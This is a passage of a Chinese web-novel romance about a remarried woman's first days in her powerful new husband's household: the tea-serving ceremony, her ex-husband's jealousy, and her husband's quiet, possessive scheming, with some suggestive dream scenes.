“放心吧。”朱夫人嗤笑道,“她就算是进宫当了娘娘,不也还是姓祝,是祝家人。” 既然是祝家人,当然要帮家里做事。 “您说得对。” “……” 相对于祝家,卫家这边还算是风平浪静。 卫如琢在喜宴上,的确与几位大人攀谈说上了话,但对方记不记得他,就另当别论了。 祝沉檀走后,他也没逗留多久。 那喜酒是一口都喝不下去,但为了交际人脉不得不喝。 一整日,他都觉得辛辣如鲠在喉。 他居然在喝祝吟鸾和别的男人的喜酒? 回来之后,他同样砸了桌上的茶壶杯盏,砰的一声,随从们全都被吓得不敢说话,只能面面相觑。 卫如琢近来一直阴晴不定,还吩咐了这边的事情不准透露到停雨阁,传到庞氏的耳朵里。 许久,卫如琢才缓和过来,他瘫坐在圈椅上。 这个夜晚实在太难熬了。 居然是祝吟鸾和旁人的洞房花烛夜! 这让他怎么接 受!祝吟鸾本应该是他的人! 当初就不应该放她离开卫家,凭什么要让她出去? 她出去才多久,居然就嫁人了。 一个月都没有吧? 思及此,卫如琢脸色一黑,她一定是跟沈景湛有私情!两人绝对是早就有往来私情了。 对。 这些年他忙碌不堪,为公事奔波周转,基本很少回家。 再加上太累了,身子莫名虚弱,总是没有兴致,抬不起来头,所以很少跟祝吟鸾同房。 她会不会红杏出墙? 祝吟鸾虽然怯懦无趣,但她生得很美,极少会有男子不为她的娇怯样而心动。 是她引诱了沈景湛,还是沈景湛对她出手? 他一定要查明白,绝对不能做这个剩王.八! 卫如琢心气难消,捏着眉心。 脑中思绪混沌,不知怎么的,忽而想起多年以前,他和祝吟鸾的洞房花烛夜。 那时候家中败落,他喜欢的女子被骆家夺走,祝家只能把祝吟鸾嫁过来。 那时候听到祝吟鸾的名字,他的印象只有一个沉默的影子。 在祝家见过,但没说过几句话。 只知道是个庶女,很不讨喜。 那场亲事不过就是走个过场而已。 没有任何的欣喜和期待,因为娶的不是自己想要娶的人。 他按部就班顺着喜娘说的流程走。 在推开祝吟鸾手里端着的团扇,正式朝她看去的时候,他说不上来那时候的感受。 她虽着了红妆,但样子娇怯,瞳眸水润,清纯得不可方物,就这么忐忑又可怜的看着他。 卫如琢的心剧烈跳了一下。 很快,他总算回过神。 蹙眉反思他为何要对祝吟鸾怔愣,岂非对不起他喜欢,放在心上多年的祝沉檀吗? 可那时的他忘记了,他喜欢的祝沉檀早已为他人妻,而眼前的祝吟鸾才是他的妻,他本该喜欢她,看着她…… 卫如琢松开捏着的眉心,怒气翻天的心里忽而搅出了一股酸水。 他在想,今夜的祝吟鸾是不是也如多年前一般清纯妩媚?沈景湛会看着她失神吗? 她在沈景湛身下也会极致隐忍,不敢发出一声而偷偷哭泣吗? 越是往深处想,他的心里就越酸,酸到发疯。 可他还是不承认自己妒忌,只是恼怒被背叛了而已。 “……” 记挂着明日要敬茶的事情,祝吟鸾特意吩咐了明芽,早起来叫她。 但往日里醒得太早,今儿也是一样,不等明芽叫她,她便已经醒过来了。 然后她发现,当下不太对劲。 这被褥怎么那么热,还那么.硬.?不应该是柔软的吗? 她迷迷糊糊睁开眼,手在乱摸的同时,忽而听到男人的一声嘶哼。 祝吟鸾瞬间清醒,“!” 她坐起来! 好一会才回神想起来昨日发生的事情。 她应该睡在里侧的,可她居然跑到了沈景湛的怀中?!! 他看起来也很懵,人还在歇息,是被她吵醒的。 祝吟鸾没想到她竟然做了那么出格的事情,抱着沈景湛睡了一晚。 甚至还把他的中衣给蹭开了,脸贴着他的胸膛歇息,还抱着他窄瘦的腰身腹肌…… 难怪她觉得不对。 眼下不是想这些的事情,祝吟鸾撇开眼,强压下心中的不自然道,“我……我也不知道怎么就跑过去了……” “对不起。” 她往日里歇息一直都很规矩,昨日究竟发生了什么,她都不清楚。 “无事。” 男人拢好中衣,朝她露出一个安慰的笑容,让她不必放在心上。 可祝吟鸾还是觉得尴尬,她只想着怎么会这样!她怎么能对沈景湛毫无规矩…… 却不知道昨日她睡了之后,是被男人给抱过来的,抱了她一晚,期间她嫌热要挣脱,却又被他给牢牢桎梏住。 因为她潜意识里就认为沈景湛是个正人君子,压根就不会这么做,所以问题只能出在她自己身上了。 祝吟鸾还在酝酿措辞,不知说什么为好,外头明芽已经走了进来,提醒她该起来了,打破了两人之间的僵持。 沈景湛率先起来,祝吟鸾压下尴尬和不自然,跟在他后面出了幔帐。 梳洗期间,两人也没再说什么,她神色微有躲闪,不敢看沈景湛。 小丫鬟们看她这副模样,自然以为她是害羞了。 沈景湛比她的速度要快。 他就在旁边静静等候,没有不耐与催促。 祝吟鸾低声催明芽之时,他还说了叫她别慌,“父亲母亲也不会那么早,鸾儿慢慢收拾就好。” 两人的视线在铜镜之中对上,他眉眼含笑,温润和煦,她好不容易压下去的不自然又跑出来了。 良久之后才在明芽的提醒下回了他的话。 过去的路上,小丫鬟仆从还有婆子们保持一定距离跟在两人的后面。 沈景湛轻声跟她说着话,他告诉她沈府的布局,家里的长辈都在什么院落居住,“用过早膳,我带鸾儿走走。” “你公事不忙吗?”她刚问,男人眉心微蹙看向她。 祝吟鸾不明所以,被他看了好一会方才反应过来,改了称谓,“…夫君公事不忙碌吗?” “陛下允了我休沐几日在家。” “原来如此。”她点头。 “嗯。”男人接下她的话。 话茬又绕回沈家的院子,说到沈家长辈。 边说边走,很快便到了前厅。 祝吟鸾跟在沈景湛身边,踏入的一瞬间。 感受到了在座众位沈家亲长投过来的视线。 第40章 第40章若真的行周公之礼… 被这么多人看着,祝吟鸾要说不紧张,那是假的。 更何况沈家的诸位亲长都是朝廷重臣,婶母们皆有体面,便是平辈小辈都在朝廷身居要职,单个的身份拎出来,谁不比她强上一百倍。 往日里,她在卫家时,赴宴参席,可从来见不上这些人物,因为身份不够格。 祝吟鸾乖乖跟在沈景湛身边走,并不敢过分四处乱看打量,只凭借着往日里施家,以及刚才沈景湛给她提前开的小灶默默认人。 她在观察诸位亲长之时,对方也都在观察她。 昨日有小丫鬟们和喜娘搀扶,就拜堂那会勉强见了身影和脸,今日看着她跟在沈景湛身边走过来,竟也不卑不亢。 沈景湛着湛蓝色圆袍束白玉发冠,身量挺拔,面容俊逸,一举一动无一不彰显大家公子风范。 他身侧的女子挽了朝云近香髻,只用了两支步摇点缀,她着红色衣裙,越发显得面白肤嫩,走动时纤腰婀娜,跟沈景湛看着出奇登对。 若不知道她真的底细,谁知道她是个庶女,还嫁了四年又被休弃,“……” 侯府往日里就只有大房在这边住,可今日祝吟鸾作为新妇要敬茶,沈景湛的身份在沈家小辈里是最高的,又是御前有头有脸的人,自然是沈家的亲长们都来了。 最上首的是沈家老太太。 昨日她没有在正厅露面,今儿一见,当真不同凡响。 她半倚着软枕姿态悠闲,满头银发梳得一丝不苟,年岁虽然上去了,但精神矍铄,一双眼睛很是犀利,看着便令人肃然起敬不敢轻易与之对视。 两人行至前面,便有小丫鬟放鹅绒织就的蒲团,端上茶水。 祝吟鸾随着沈景湛跪下给沈老太太请安,敬茶。 沈老太太先是接了沈景湛的茶水喝了。 打量祝吟鸾许久,这才慢悠悠由一旁的婆子扶了正坐起来。 还是婆子接过祝吟鸾手里的茶水,沈老太太方才接过呷了一口。 期间沈老太太的眼神一直飘在祝吟鸾的脸上。 对方感受到她的目光,始终低敛着眉眼,任由她打量,并未露出任何的怯意。 胆子不清楚到底怎么样,场子倒还勉强接得住,并没有展露任 何的慌张失措。 沈老太太喝了茶水之后,她没说什么,旁边的婆子代替沈老太太讲吉祥话,给祝吟鸾送了礼,是一尊送子观音。 “身为世子正妻,老太太希望您早日为沈家开枝散叶。”这句话很有深意,众人都在看好戏,想要听听祝吟鸾怎么回。 祝吟鸾听到送子观音四个字,想到她那四年都没个孩子的事情,眼皮子不易察觉微动了一下。 她心想沈家的人揪查她的过往,必然清楚她嫁入卫家四年毫无己出。 祝吟鸾的小反应,沈老太太自然是留意到了。 可沈老太太没想到,就跪了这么一小会,膝盖也不至于就弯得疼了吧? 沈景湛亲自扶着祝吟鸾起身,一副心疼样子,不等祝吟鸾开口,就帮她回了话。 “孕育后嗣不止是鸾儿一人之事。孙儿也会努力,祖母您就放心吧。” 沈老太太心中冷笑,但愿他是真的能够让人放心。 先前沈景湛说祝吟鸾无法孕育后嗣,是因为他给人家当时的夫郎卫家子下药了,当时沈老太太真气得头疼晕倒。 后面想了想,不论是真是假,且瞧瞧这祝家女嫁进来了能不能生。 若是真的不能生,定然是要休弃的! “对了,您的身子骨一直不好,孙儿让人寻了一尊南无药师琉璃光如来佛,放在您的内宅,想必对您有所助益。” 这是让她多拜佛,少.操.心了? 被自家孙儿回击的沈老太太,“……” 旁边一直在留神观察的众人见状,无一不收了轻视祝吟鸾的心思,因为她实在太得沈景湛喜爱。 在这种沈家长辈皆在的大场面,沈景湛竟为了她,连沈老太太对孙媳妇的训话都给挡了回去,那祝吟鸾几乎都没说什么,沈景湛这是在帮她抬场子,撑面子。 前些时候,看到沈景湛迎娶她的大手笔,众人并不相信他是真的那么喜爱祝家女,毕竟这席面办得好,主要彰显的还是沈家的实力,可今日一看……恐怕不止于此咯。 沈老太太脸色微沉,沈夫人连忙上前打圆场,把话茬转移走。 茶水敬到沈夫人和沈侯爷这边,两人倒是没有为难,吃了茶水给了东西,也收了祝吟鸾的回礼。 有了沈景湛替祝吟鸾回怼沈老太太的前车之鉴,谁都不敢给祝吟鸾脸色瞧,就连说话都客气不少,毕竟沈景湛的厉害,沈家人谁不清楚,这可是尊笑面虎,凶起来不认人。 相对于几房的客气,唯独有一人,二房夫人不咸不淡而有些叫人印象深刻了——因为她之前查到沈嘉显的“流放”隐约跟祝吟鸾有关系,所以不喜。 祝吟鸾不明内情,还以为二房夫人看不上她的出身。 敬了茶水之后,又说几句话,便到了用早膳的时候。 祝吟鸾跟在沈景湛身边坐下。 她原还想着恐怕要伺候沈夫人和沈老太太用膳,可谁知完全不用,因为都有小丫鬟忙活。 不仅不用伺候婆母祖母用膳,沈景湛还总是照拂她,给她夹菜。 别说只有两人时,他给她夹菜,她觉得坐立难安,当着这么多长辈的面,被人偷看着,祝吟鸾越发觉得神色不自然,她只能也给沈景湛夹菜,低声让他吃,不必管她。 他却旁若无人般继续给她舀汤,说担心她害羞,不敢多吃,还说她瘦弱,理应多用一些饭菜。 祝吟鸾只能抿唇尴尬笑了笑,避开众人的目光,埋头用膳。 她本来都摆正心思了,力求寻常心思对待与沈家诸多亲长们一道用膳,可被他这么一照顾,又被那么多人瞧着,的确是有些害羞与不自然了。 往日里的沈景湛清冷如霜,话都不多说一句,今日却体贴关怀,好似变了一个人,可不是惊掉了众人的下巴。 沈夫人和沈侯爷对视一眼。 沈侯爷虽然意外,但也还好,毕竟沈侯爷知道沈景湛为了娶祝吟鸾还做了什么事情。 沈夫人却像是见了鬼,这还是她那个不近女色,对女子退避三舍的儿子吗? 祝吟鸾真是被盯得如芒在背,她几乎是硬着头皮在吃,“……” 此刻难为她还能察觉到一件奇怪的事情。 沈景湛夹给她的菜无一不是她喜爱的,这是巧合吗? 他竟然如此了解她的喜好? 就连她不喜欢吃叶用芥菜这么隐私的事情他都知道,还帮她给挑掉了。 这件事情就连贴身伺候分明芽和姣惠都不知道,沈景湛又是怎么知道? 就算是巧合,也不可能巧合到如此份上。 因为不知缘由,祝吟鸾只能暂时将这股疑惑压在心底。 见她低头低得越发厉害,沈景湛给她夹菜之时,顺势抬眼,视线凉飕飕扫过观察这边的众人,大家忙不迭挪开了眼,用自己的饭菜。 “……” 膳后,众人客套着又说了一会话。 沈景湛便要带着祝吟鸾离开了,他说要她逛院子,熟悉沈家布局,恰好消消食。 可就在起身之时,沈老太太叫住两人,“你既然已经成家,便搬回来住吧,大家在一处,好歹有个照应。” 搬回来? 祝吟鸾想起一事,沈景湛好似住在外面。 方种月说过的,他很早便另府别住了。侯府只有长房的人,沈景湛的妹妹还没嫁人,上前月去了琉州,至今没回。 原是要回来的,只因为琉州距离京城太远,又是独立小州,春日里风雪融化,河流冲垮了河堤,来往的船只都损毁不少,路也堵住了,所以她便滞留在了那一带。 人倒是没事,沈家已经派了人去接,只不过还要耽搁些日子才能回来,所以祝吟鸾还没见过这位名义上的小姑。 听施家的姐妹说,她与奉安公主交好。 那奉安公主……在卫明烟承办的席面上,祝吟鸾可是听人说了,她喜悦沈景湛。 “祖母养好身子为紧,这些事情您就不必担心了。”他又把沈老太太的话给呛了过去。 对方没好气瞪了他一眼,祝吟鸾在旁边不好.插.话,沈老太太把目光放到了她的身上,似乎想要她劝解。 祝吟鸾也不笨,自然明白,她斟酌一二,刚要开口,可沈景湛辞别了沈老太太把她还没开口的话给堵了回去不说,还带着她走了。 只留下沈老太太盯着两人背影,一脸不悦。 其余留下的沈家人也不好说什么,只能劝慰沈老太太宽心,陪了沈老太太一会,便也请辞离开。 人差不多走光了,就剩下沈夫人和沈侯爷。 沈老太太一想到这不受管教的孙子是两人生的,更不想看到两人了,叫两人去忙,别在跟前碍眼。 待人一走,沈老太太身边的老妈妈给她捏着肩膀,问她怎么了? “还能怎么着,你不是都看到了吗?”沈老太太叹出一口气。 “大公子疼爱少夫人,这是好事啊,奴婢看着那少夫人也是个乖巧的性子,不像那些歪心思会耍心眼的人,适才您一个眼神过去,她显然是要帮您说话,只是大公子……”把人给拉走了。 “恐怕是面子上的功夫。”沈老太太捏着眉心,“听澜这样喜欢她,我竟不知道是福是祸了。” “您啊,就是.操.心太过了,前些时日晕倒还在吃药呢,太医说让您好生保养,您应该听太医的话才是。” 沈老太太摆手闭上眼睛,老妈妈立马闭上了嘴,拿来软被给沈老太太盖腿。 祝吟鸾跟沈景湛绕到沈家的后院。 不得不说,沈家的院落实在太大了,比施家都还要大,假山水榭,溪流潺潺,各类名贵花种,有些她甚至都不认识,好似书上才有,其间林立错落有致,令人看了心旷神怡。 沈景湛问她喜欢沈家吗? 祝吟鸾没说喜不喜欢,只道沈家景色好,庭院楼台也不错。 “这是父亲花重金找了宫内工部尚书帮忙修筑的。” 竟然是工部尚书的手笔,难怪如此精巧雅致。 “对了,适才祖母说——”祝吟鸾的话还没说完,沈景湛反问她是想在沈家住,还是搬出去? 祝吟鸾顿了一下,私心里她自然是想要搬出去。 这跟长辈们住在一处,免不了拘谨。 何况过些时日沈景湛休沐的日 子结束了,他若忙得脚不沾地几日不归家,那便是她一个人留在沈家,应付沈家的人。 沈家的人今儿倒是客气,谁知道背地里什么样?恐怕比卫家的庞氏,以及她的嫡母朱夫人还要难缠。 “鸾儿也想搬出去住,对吗?”祝吟鸾沉默期间,沈景湛已经明白了她的意思。 “但祖母……” “祖母那边鸾儿不必担心,我会应对。”想到他今日的维护,祝吟鸾竟不知说些什么为好。 因为沈景湛实在太周到了。 当初明明说好了她帮他应付沈家事情,她今日准备可能要应对长辈的诸多措辞,一句话都用不上,因为沈景湛都帮她挡了回去。 “鸾儿有话要说?” “只是觉得你……夫君待我很好。”她何德何能? “我娶鸾儿归家,自然不是叫你来受委屈的。” 不是受委屈,那是享福吗?她从来没想过,嫁到婆家,沈家能够享福? 沈景湛看着她如此说,祝吟鸾抬眼对视上.他幽深漂亮的眉眼,心下忍不住微动,抿了抿唇。 她沉默。 总感觉有什么地方不对劲,是啊,什么地方不对劲呢? 思来想去,祝吟鸾灵光一闪,她和沈景湛之间分明是“互利”成亲,可沈景湛给她的感觉就像是他爱慕她多年一般?好不容易把她娶回来,所以处处护着。 她莫不是昏头了,竟然冒出这样荒诞的想法。 不知道说什么但又不好沉默不语,她回了一句,“…多谢夫君。” 是真的感谢。 她很清楚沈景湛在人前的照拂与维护,都是给她撑腰。 正因为如此,沈家的人都不敢欺负她了。”鸾儿不必客气。”男人看着她卸下不少防备的神态,眼底滑过一丝笑意。 跟之前相比,她对他已然没有那么抗拒和疏远了。 假以时日…她必然会全身心依赖他。 不论多久,他有的是耐心。 两人慢悠悠在后院走着,时不时谈上一两句。 “……” 沈夫人回院子之后,还惦记着沈老太太问的那句话,她找沈侯爷拿主意,想问他能不能也帮着说和说和,让沈景湛就此在家中住下,可别再搬出去了。 沈侯爷却不愿意,“听澜已经成家立业,做事自有决断,他爱如何便如何吧。” “他常年不在家,如今娶个媳妇长房也能热闹一些,再带着人搬出去怎么是好?” 沈夫人自然不愿意说她的私心,她就是想盯着沈景湛和祝吟鸾要孩子。 更何况还没有认真考究一下祝吟鸾的品性,两人只在家待几日就搬出去,那可怎么说? “夫人这般不想听澜带着媳妇搬出去,何不亲自去跟两人讲?” “我哪里敢做听澜的主?”没见他连沈老太太的话都呛了吗? 沈侯爷听到这句话忍不住笑了一下。 见他置身事外的笑,沈夫人的脸色拉了下来沈侯爷正色轻咳一声,凑到沈夫人耳边,给她提了一个主意。 “这样能行吗?”沈夫人听罢,半信半疑。 “行不行,试一试不就知道了?”沈侯爷道。 沈夫人思索着沉默下来。 或许也算一个法子吧。 早膳用得不愉快,沈老太太午膳和晚膳都没有露面。 其余来吃敬茶送礼的旁支长辈走了之后,就只剩下沈夫人,沈侯爷,长房的公子小姐并姨娘小辈们。 人虽然还是不少,却没有早上那般多了。 祝吟鸾这两顿饭,都不用看顾手底下的人用饭,多是小丫鬟和婆子们在旁伺候,她自己反而吃得不少。 沈景湛一如早上那般照拂她,她这次依然留意到他给她夹的菜都是她喜欢的口味。 十分精准。 沈家厨子做饭讲究,基本不与晨起的早膳重样。 饶是如此,沈景湛竟也能在这堆满满当当的菜色里挑出她爱吃的,夹到她的碗里来。 未免也太巧合了! 一次是巧合,第二次也还是巧合吗? 心里装着事情,祝吟鸾自以为隐藏得很好,可没想到回了院梳洗过后没多久就被沈景湛给发现了。 他问她在想什么? 刚说没想什么,可沈景湛看着她问真的吗? “我没有要逼问鸾儿的意思,只是怕你觉得在沈家不适,又不肯说,自己闷在心里难过。” 男人温柔体贴的话语钻到耳朵里。 祝吟鸾觉得她或许多想了,沈景湛年纪轻轻便能在御前站稳脚跟,洞察人心的本事自然不必说。 他能够发觉她爱吃什么,或许不是奇事。 话是这么说,她自己依然觉得奇怪。 要说吗? 她在心里暗暗想着。 可当她纠结拿不准之时,沈景湛竟然自己说了,问她是不是奇怪他为何给她挑的菜色都是她爱吃的? “你…你怎么知道?”他果真洞察人心到如此地步?好似会读心一般。 可她哪里清楚,沈景湛太了解她了。 她的一举一动他都无比留意,她在饭桌之上展露出的疑惑,即便是隐藏了,他又怎么会猜不出来呢? 此刻若是不说,恐怕她就会起疑。 怀疑的种子一旦埋下,人便会风声鹤唳,变得疑神疑鬼。 对上沈景湛含笑的眉眼,祝吟鸾反应过来她下意识的话已经泄露了内心的想法。 连忙摇头,“我……我不是那个意思。” “只是…觉得奇怪,因为夫君好似很了解我的口味。” “嗯。”他点头,“鸾儿保持警惕是应当的。” 他接着往下道,“我的确很了解鸾儿的口味,不止因为我寻人向你的婢女问过,从她们口中了解了一些你的喜好,你在施家住时的衣食起居,我也让人留意了。” 祝吟鸾听罢,松了一口气,“原来如此。” 她怎么把施家给忘记了? 沈景湛既让人留意了,那他肯定清楚她的喜好。 思及此,她又不免感叹沈景湛的深不可测,他只从旁人的禀告当中便能够分析她很多不为人知的口味,还有什么是他不知道的? 除了感叹之外,祝吟鸾也多了几丝忌惮。 “至于我为何要这样事无巨细,也是因为我清楚鸾儿的性子文静,一是担心你在施家被人欺负又不肯说,二是……” “是什么?”难得见沈景湛话语停顿。 “我曾与家中说明求娶鸾儿的原因是喜爱惦记你多年,此生非卿不娶。” 他就这样以玩笑且随意的口吻说出内心真实的想法。 祝吟鸾怔了一下,对上男人眸色深深的眼,总觉得哪里不对。 可又说不上来。 似乎因为他的眼眸天生深邃,所以即便他说的话是玩笑,可总叫人觉得他很认真,并非是戏言。 “正所谓做戏做全套,当然不能让家里的人看出破绽来。” 难怪他事无巨细,敬茶时,用饭时,对她过分照顾。 原来抛却要给她撑场面,还有这样的缘故。 “我明白了。”祝吟鸾暂时消除心中的疑虑。 “嗯。” “日后鸾儿再有什么不解,径直问我便好,你我之间,没什么不能说的,我若有什么,也会直接问你。” 把话说开的确好,能省很多麻烦,也免得互相猜忌,毁了两人之间为数不多的信任。 祝吟鸾没什么异议,颔首点头,“好。” 说完话,两人起身要歇息了。 睡前,沈景湛过书房走了一趟,似乎要过目,签什么诏令。 祝吟鸾先上榻等他。 明芽在帮她脱靴之时,悄 声跟她说,昨日来听墙角的老妈妈又来了。 祝吟鸾眉头一皱,“……” 怎么又来了? 这些人该不会日日都来吧?那岂不是日日都要跟沈景湛做戏吗? 今儿应对着沈家的亲长们,她都快要把昨日床榻之上的紧张与尴尬给忘记了,一想到昨日,她的面色一红。 “昨日也来了吗?”刚问完她都觉得自己蠢了。 明芽不是说了昨日来听墙角的老妈妈今日又来了,她竟还问了,况且白日里明芽也说了昨日有人来。 她也不知自己是在求证什么。 求证沈景湛说的话?她不相信沈景湛说的话? 可他的话挑不出错,她的心里也没有疑虑了,近乎完美,为何要问? 对啊…… 他的回答近乎完美,没有一丝漏洞。 “小姐您怎么了?”明芽都觉得她问得奇怪? “没怎么,就是……有些困了,所以有些恍惚。” 她想到昨日夜里的失控,他亲她,吻她,帮她。 在这场做戏里,她竟然产生了从未有过的燥热和慌乱。 她和沈景湛,甚至都没有真的行周公之礼便乱成那个样子了。 若是真的行了周公之礼……【你现在阅读的是 】 40-50 第41章 第41章嫁了又如何?拆散了便是。 若是她和沈景湛真的行周公之礼又会变成什么样子呢? 祝吟鸾躺下之后,许久了,还在忍不住在思忖这件事情。 思来想去也没个结果,因为她意识到这件事情根本不是她能够控制的。 偏头看去,隔着幔帐没有窥见光亮,也没有听到任何的脚步声,他应当还在书房吧? 沈景湛虽然得了休沐,但看起来还是挺忙的。 她躺下许久了,他还不曾过来。 若是她能在他过来之前入睡,想必今日也不用再演戏了吧? 思及此,祝吟鸾连忙闭上眼,逼迫自己进入梦乡与周公相见。 书房内,沈景湛刚处理完这些时日中书省堆积的诏令事务,旁边的随从向他禀告,说卫如琢开始偷偷派人查之前的事情。 “哦?”沈景湛翻阅着诏令策论的手一顿。 “查到什么地方了?”他问。 “因为咱们的人留意着,他暂时什么都没有查到。”卫家那边安放的人一发觉到卫如琢的动作,立马就过来禀告了。 “您看……要不要……”下属试探提议。 沈景湛勾唇,“他既然那么想知道,就让他查,最好查个一清二楚。” “您的意思是……”下属听出沈景湛话里意味,却还是要再确认一二。 沈景湛没再说话,只是轻飘飘抬眼看过来,“……” 下属立马明白了,拱手应是。 离开之前又问,“祝家那边…” “一样的。”沈景湛淡声。 祝吟鸾都快要分不清楚,这到底是梦,还是现实了。 男人密不透风拢着她,攥着她的腰身。 密密麻麻的吻好似一场春雨,落在她的周身八道。 春雨淅沥,很快就打湿了她的衣衫,衣衫黏在她的身上,实在热且难受,于是她忍不住扭动。 不管怎么动,都没有办法脱开男人的桎梏,他居高临下,身形宽阔不说,还具有无穷的力量,仅仅凭借她自己,压根就没有办法挣脱。 她的眼角已经滚落泪珠了,可他俯身,将她眼角的泪给吻去了,还在她的眼尾处辗转反侧许久。 他似乎在跟她说话,可具体说的是什么,她根本就没有听清楚。 只知道他浑身上下都透着危险。 男人种种行径就好似要将她拆吃入腹。 他也的确在这么做。 “……” 梦境一转。 祝吟鸾感受到了极其骇人的洪流,冲直春山深处。 整座春山随着洪流的冲击之下,地动山摇得可怕,摇摇欲坠到了快要崩溃的边沿。 泪珠和汗珠宛若一颗颗山石滚落春山,弄得满地狼藉。 她在这场地动山摇里哭泣尖叫,她想要停止,想要挽救这场不可控制的,骇人至深的,正在发生的事。 可是她的力量微薄,没办法与巨大的力量抗衡,在彻底崩塌,坠毁粉碎的那一刻。 轰隆一声惊雷。 春山被击碎了,处处化为泥泞。 祝吟鸾也瞬间睁眼,与此同时,她看清楚了身上男人的样貌。 沈景湛! 她猛然推开对方,惊坐起来,大口喘息。 被推开的男人,盯着她被满头乌发笼罩正因不断呼吸,而略带起伏的瘦削脊背,若有所思。 “鸾儿做噩梦了吗?”他许久之后才问,大掌给她轻拍着后背。 祝吟鸾暂时没有回他的话。 那一声惊雷是真实存在的,因为雷声过后没有多久,她渐渐冷静下来的同时,听到了落雨的声音。 下雨了。 所以她梦里的男人,是看清楚的这张脸吗? 是沈景湛吗? “我让人给鸾儿熬一碗安神汤。”男人语调温柔似水。 轻拍在她后背上的大掌力道是如此的轻柔,怎么可能会是她梦中那个令人无法抵抗,又凶又危险的男人呢? 不是他的,只是一个梦。 至于她为何会做这样的梦,或许是睡前惦记着来听墙角的老妈妈,又记挂着她和沈景湛的亲密,所以才搞成这个样子。 刚想说不用熬安神汤,却没想到沈景湛已经吩咐下去了。 他还亲自拧了帕子过来,祝吟鸾刚要接手过来擦一擦,那温热的帕子却已经落到了她的小脸上。 她因为梦魇而冒出无数冷汗的脸蛋在接触到帕子那一刻瞬间紧绷而又舒缓。 男人动作轻柔,温热帕子流离在她的脸上各处,脖颈他也帮忙擦了擦。 没一会,男人起身去换帕子。 他又要帮她擦拭手脚,祝吟鸾忙说她自己来。 开口那会,她发现她的声音竟然有些许沙哑。 “鸾儿不必与我如此生疏,你既然不适,我理应照拂你,若我日后也有身子不爽利的时候,便要劳烦鸾儿了。” 他没有把帕子递给她,而是轻拉她的手腕,帮她擦拭着细嫩如葱的手指,手心手背,指尖指缝,无一遗漏。 随后又重新拧了帕子,祝吟鸾再次阻止依然失败。 男人的大掌掀开被褥握上她脚踝的那一刻,她身子骨一颤,诡异的熟悉感浮上来,脑海中莫名浮现画面,是一个男人也如此刻的沈景湛一般,握住她的脚踝,将她往后拖拽。 两人贴上时的感觉一样,却又不太一样。 脑海中的男人大掌炙热有力,此刻的沈景湛掌心温热,力道柔和。 他并没有束缚她,而是固定而已。 祝吟鸾觉得她真是被魇得厉害了,怎么会浮现这么奇怪的画面呢? 她看着沈景湛的俊脸眉眼,他正垂着睫毛,帮她擦着脚。 纤长的睫毛敛下去,只有温润无害,他是一个谦谦公子,不是她画面里的人。 祝吟鸾叹出一口气,她真是被梦魇到了。 走神怔愣的她,完全没有留意到男人为她擦拭脚背的轻柔动作之下,有多隐忍。 姑娘的脚,软而白嫩,脚趾小巧圆润,她时不时蜷缩着,脚的边沿泛着淡淡的粉。 男人长睫掩盖之下的眸子,深而暗,“……” 她落在虎口边沿,被猛虎徘徊圈止禁地,却受他的伪装迷糊,至今浑然未觉。 “好了。” 抬眼之时,男人眼底的深暗消失殆尽,祝吟鸾更不曾得知了。 她收回脚,看向男人,微咬唇瓣,“多谢夫君。” “鸾儿不必客气。”他起身之时,身上卷起一股淡淡的香味,合着冷风,卷到她的鼻端之下。 祝吟鸾竟也觉得熟悉,但分辨不出来是什么香。 再想细闻,却没有了。 或许不是沈景湛身上的味道,是旁的花香植卉吧。 她记得屋外的长廊和窗台之下放置了许多,此刻风雨席卷,窗桕关得不严实,自然也就飘过来了。 毕竟沈家有很多她不认识的盆植,她猜测,很有可能是之前跟着庞氏去高门赴宴时闻到,那时候留下印象,此刻才会觉得熟悉。 沈景湛再折返躺下。 此刻的祝吟鸾却睡不着了,身侧的男子似乎也没睡。 两人之间静默无言。 有了昨日的亲密,加上刚才他为她效劳所做的事情,祝吟鸾没有昨日那般紧张了。 她想起那来偷 听的老妈妈,此刻风雨席卷,人应当走开了吧? 可又不好直接问,思来想去,转了一个话头,她问沈景湛几时忙完的? 男人似乎回忆了一下,他道,“丑时。” “我来时,鸾儿已经歇下了。” “那……”她犹豫着欲言又止。 “鸾儿想问门口来听墙角的人走了没?”他准确猜测出她内心的想法。 他每次都这样,次数一多,祝吟鸾也开始见怪不怪了。 “嗯。”她点头,压下心里的不自然。 “走了。”男人道,“但明日恐怕还会再来。” 祝吟鸾沉默,“……” 她实在忍不住问,“这些人要什么时候才会离开?” 他沉思,“恐怕还要一段时日。” “但我们可以提前搬走。” 祝吟鸾忙道不妥。 “鸾儿不想搬走吗?” 她怎么觉得沈景湛明知故问在逗她? 哪有新妇刚嫁过来两人,连娘家门都没有回便要搬出去的啊? 他洞察人心,晓察万事,怎么会不清楚她道不妥的原因在何处。 可沈景湛的语气又听不出来是不是逗她。 祝吟鸾只能把疑虑咽了回去。 她久久未答,他却转身看了过来。 视线投到祝吟鸾的脸上,她下意识抬眼,竟在黑暗当中准确无误与男人视线对上。 祝吟鸾莫名惊了一下。 他的眸子太幽暗了,被他看着的时候,竟让她有种被猎人盯上的感觉,“……” 她下意识回避,“没……没有,但现在还不行。” “我们眼下若搬出去,只怕婆母和祖母都会生气,外面的人只怕也会诟病。”祝吟鸾陈述。 而且瞧着今儿沈老太太的意思,并不想两人离开。 “若是鸾儿果真不想留在沈家,回门之后我便带你离开。” 祝吟鸾听罢,她总觉得沈景湛太过于偏就她了。 明明是说让她来帮忙搪塞家中,应付长辈,可沈景湛真要那么“偏私”她的感受,事事迁就,恐怕沈家这边不得安宁。 “没有。”她摇头。 “且顺其自然再看吧,现如今暂时不能离开。”截今来看,并没有什么事情难以处理。 “好。” 再次施展以退为进,达到目的的男人眉目舒展。 “今日我先睡了,那过来听的人过去传话会不会……” 等等,她的话还没说完,忽而后知后觉意识到一件事情。 沈景湛说他是丑时回来的。 真的有那么多公务要忙么? 他昨儿才成亲,就算位高权重之下,每日要处理的公事多得不能再多,也不至于第二日就忙到丑时吧? 他是不是也察觉到做戏的为难,这才找借口拖到丑时回来? 从书房回来的时辰晚了,来听墙角的妈妈们走了之后,回去给沈夫人和沈老太太传话,也不算她这个新妇的不是了。 思及此,祝吟鸾心中情绪复杂。 “鸾儿话没说完,在想什么?” “我……”她顿了一下如实道,“我叫你为难了。” “何出此言?” “你逗留到丑时,是为了不与我做戏应付吗?”她没有绕圈子。 “并非如此。”沈景湛否认,“中书要处理的事情多,凡事要等我过目才能呈于御前,堆积一两日便摞成小山了。” 尽管男人已经解释不是,可她依然觉得是她想的那样。 沈景湛不明说,她也没有拂却他的“好意”。 他是怕她内疚吧? 